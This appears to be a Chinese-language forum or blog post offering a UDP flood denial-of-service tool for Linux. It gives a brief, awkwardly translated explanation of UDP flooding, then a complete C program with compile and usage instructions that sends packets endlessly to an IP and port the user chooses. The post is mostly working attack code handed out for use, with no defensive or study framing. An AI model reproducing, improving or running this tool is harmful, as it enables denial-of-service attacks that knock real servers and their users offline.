|
在Linux [UDP]的DDoS攻擊 方案 代碼
inux服務器用C編寫的腳本是我與UDP的DOS攻擊共用一個腳本。 編譯之后就可以使用。/ DDoS攻擊
UDP攻擊(UDP泛濫),UDP(用戶數據報協議)是一種DoS攻擊利用。 DoS攻擊使用UDP,TCP(傳輸控制協議)是比使用更復雜。 然而,在遠程計算機攻擊的大量隨機的UDP端口可以通過發送一個UDP包來啟動。 其結果是,在遠程計算機: 監聽端口的應用控制; 任何應用程序偵聽端口看到它; 回應與ICMP目的地不可達報文。 因此,大量的UDP數據包到受害系統,迫使許多人發送ICMP數據包,從而導致無法通過其他客戶。
/*
compilation : gcc udp.c -o nom
utilisation ( use ): ./nom ip port
exemple d'utilisation ( example of use ): ./udp 80.70.60.50 80
fonctionne sous linux ( works ): Debian, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
RELEASE BY ²DSK ™ // d-sk@live.fr // If you add an update thank you for giving me this please // ENJOY
*/
#define UDP_STRING "level-23"
#define UDP_SIZE 9
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
int connection(char *, short);
int connection(char *serveur, short port)
{
struct sockaddr_in udp;
struct hostent *bbs;
int initsocket;
bbs = gethostbyname(serveur);
if (bbs==NULL) {
printf("host inconnu: %s\n",serveur);
exit(0);
}
printf("Innondation de paquet UDP sur %s:%d\n ", serveur, port);
bzero((char*) &udp,sizeof(udp));
bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
udp.sin_family = bbs->h_addrtype;
udp.sin_port = htons(port);
initsocket = socket(AF_INET, SOCK_DGRAM, 0);
connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
return initsocket;
}
main(int argc, char **argv)
{
int i;
if(argc != 3)
{
fprintf(stderr, "Utilisation: %s ip port\n",argv[0]);
exit(0);
}
i=connection(argv[1], atoi(argv[2]));
for(;;)
{
send(i, UDP_STRING, UDP_SIZE, 0);
}
} |
|